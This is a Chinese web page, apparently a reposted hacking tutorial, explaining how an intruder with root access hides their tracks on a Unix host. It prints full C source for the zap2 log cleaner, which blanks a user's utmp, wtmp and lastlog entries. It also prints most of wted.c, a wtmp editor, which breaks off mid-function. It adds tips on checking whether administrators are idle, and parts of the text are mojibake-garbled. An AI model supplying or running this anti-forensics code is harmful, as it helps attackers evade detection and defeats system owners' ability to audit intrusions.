设为主页 | 加入收藏 | 繁體中文

进入系统后如何隐藏自己?

  泉源:http://hack.china163.cn/
  网络上有很多不同的日志扫除程序,此中最好的是zap2。我编译后称为z2
  在你获得root的拜访权后立即运转z2这个程序。这个程序实行的十分快。
  你可以利用finger @host.xxx来查看以后有说锹剂耍邢腹鄄煲幌聄oot或admin的idle time(闲暇工夫)
  来猜测他们是否脱离主机了。
  Login, ?ú????oóá¢?′ê?è?wà′2é?′idle timeoí???úóD?????á??£ ????ó?"w"2é?′??í3oí??ê?è?ê1
  ×??o3é?aroot???üá?ê?2??üí?ê±??DD???£ò?????????á?root??·??ê訣?á¢?′ê?è? ./z2 ??????
  ??í3?ùó???ó??§???£
  现在你比适才就宁静多了。现在再用"w"或"who"命令来查看一下,你已静换岜籾tmp记录了。要是你要使
  用 ftp或其它的一些命令你大概就会用到我在本章中提供的另外两个程序 wted 和 lled。
  我们先来完成z2这个程序。你必须了解每个文件在你入侵的体系中的位置以便修改z2.c,使其包含这些
  文件的正确路径。
  上面是在文件头部的需要你修改的部门。
  #define WTMP_NAME "/usr/adm/wtmp"
  #define UTMP_NAME "/etc/utmp"
  #define LASTLOG_NAME "/usr/adm/lastlog"
  在有些体系中应该是:
  #define WTMP_NAME "/var/adm/wtmp"
  #define UTMP_NAME "/var/adm/utmp"
  #define LASTLOG_NAME "/var/adm/lastlog"
  但你应该本身查看一下这些文件存放在你要入侵的体系的什么位置。/var/log目录也是很大概的一个路径。
  修改好正确的文件路径后,编译这个文件,现在你登录之后运转z2,你就已比较宁静了。
  这里是c程序:
  z2.c
  --------------------------- cut here
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define WTMP_NAME "/usr/adm/wtmp"
  #define UTMP_NAME "/etc/utmp"
  #define LASTLOG_NAME "/usr/adm/lastlog"
  int f;
  void kill_utmp(who)
  char *who;
  {
  struct utmp utmp_ent;
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  write (f, &utmp_ent, sizeof (utmp_ent));
  }
  close(f);
  }
  }
  void kill_wtmp(who)
  char *who;
  {
  struct utmp utmp_ent;
  long pos;
  pos = 1L;
  if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  while(pos != -1L) {
  lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  pos = -1L;
  } else {
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof(struct utmp ));
  lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  write (f, &utmp_ent, sizeof (utmp_ent));
  pos = -1L;
  } else pos += 1L;
  }
  }
  close(f);
  }
  }
  void kill_lastlog(who)
  char *who;
  {
  struct passwd *pwd;
  struct lastlog newll;
  if ((pwd=getpwnam(who))!=NULL) {
  if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  bzero((char *)&newll,sizeof( newll ));
  write(f, (char *)&newll, sizeof( newll ));
  close(f);
  }
  } else printf("%s: ?\n",who);
  }
  main(argc,argv)
  int argc;
  char *argv[];
  {
  if (argc==2) {
  kill_lastlog(argv[1]);
  kill_wtmp(argv[1]);
  kill_utmp(argv[1]);
  printf("Zap2!\n");
  } else
  printf("Error.\n");
  }
  --------------------------- cut here
  --------------------------------------------------------------------------------
  其它脚本程序
  我们开端本章的另一部门。我们假定你登录并实行了z2,你需要进行ftp来抓一个文件(记取,象第一
  章所说的,不要ftp或telent出这个入侵的主机)。好了,你ftp进入体系抓取几个文件,或登录到体系
  的其它帐户中,那现在你就要用到wted程序了。 wted程序容许你编紈tmp日志来扫除你ftp留下的记录。
  你也大概要用到lled (编糽astlog日志).
  你在修他日志的路径并编译wted程序后,输出 ./wted将会出现上面的菜单。
  [8:25pm][/home/compile]wted
  Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
  -h This help 帮助
  -f Use FILE instead of default 所利用的非默认文件
  -a Show all entries found 表现全部的记录
  -u Show all entries for USER 表现USER的全部记录
  -b Show NULL entries 表现空记录
  -e Erase USER completely 完全扫除某用户的记录
  -c Erase all connections containing HOST 扫除从某主机来的全部记录
  -z Show ZAP'd entries ??ê?ó?ZAP′|àí1y??????
  -x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1y??????
  要是你ftp利用的用户名为 tsmith,你应这样利用 wted -x -e tsmith
  这个程序将表现用户tsmith登录的一个工夫并询问你是否要删除它。在你删除你登录的记录后,记取
  chmod 644 wtmp.tmp文件然后将其拷贝到日志文件的目录并覆盖岳吹奈募O笳庋?
  1. chmod 644 wtmp.tmp
  2. cp wtmp.tmp /var/adm/wtmp
  上面是wted程序:
  重要:记取将char里面文件改成正确的路径。
  wted.c
  ---------------------- cut here
  #include
  #include
  #include
  #include
  char *file="/var/adm/wtmp";
  main(argc,argv)
  int argc;
  char *argv[];
  {
  int i;
  if (argc==1) usage();
  for(i=1;i{
  if(argv[i][0] == '-')
  {
  switch(argv[i][1])
  {
  case 'b': printents(""); break;
  case 'z': printents("Z4p"); break;
  case 'e': erase(argv[i+1],0); break;
  case 'c': erase(0,argv[i+1]); break;
  case 'f': file=argv[i+1]; break;
  case 'u': printents(argv[i+1]); break;
  case 'a': printents("*"); break;
  case 'x': remnull(argv[i+1]); break;
  default:usage();
  }
  }
  }
  }
  printents(name)
  char *name;
  {
  struct utmp utmp,*ptr;
  int fp=-1;
  ptr=&utmp;
  if (fp=open(file,O_RDONLY))
  {
  while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
  {
  if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
  (!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
  printinfo(ptr);
  }
  close(fp);
  }
  }
  printinfo(ptr)
  struct utmp *ptr;
  {
  char tmpstr[256];
  printf("%s\t",ptr->ut_name);
  printf("%s\t",ptr->ut_line);
  strcpy(tmpstr,ctime(&(ptr->ut_time)));
  tmpstr[strlen(tmpstr)-1]='\0';
  printf("%s\t",tmpstr);
  printf("%s\n",ptr->ut_host);
  }
  erase(name,host)
  char *name,*host;
  {
  int fp=-1,fd=-1,tot=0,cnt=0,n=0;
  struct utmp utmp;
  unsigned char c;
  if (fp=open(file,O_RDONLY)) {
  fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
  while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
  if (host)
  if (strstr(utmp.ut_host,host)) tot++;
  else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
  if (name) {
  if (strcmp(utmp.ut_name,name)) {cnt++;
  write(fd,&utmp,sizeof(struct utmp));}
  else {
  if (n>0) {
  n--;cnt++;
  write(fd,&utmp,sizeof(struct utmp));}
  else
  {
  printinfo(&utmp);
  printf("Erase entry (y/n/f(astforward))? ");
  c='a';
  while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
  if (c=='f') {
  cnt++;
  write(fd,&utmp,sizeof(struct utmp));
  printf("Fast forward how many entries? ");
  scanf("%d",&n);}
  if (c=='n') {
  cnt++;
  write(fd,&utmp,sizeof(struct utmp));
  }
  if (c=='y') tot++;
  }
  } }
  }
  close(fp);
  close(fd); 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: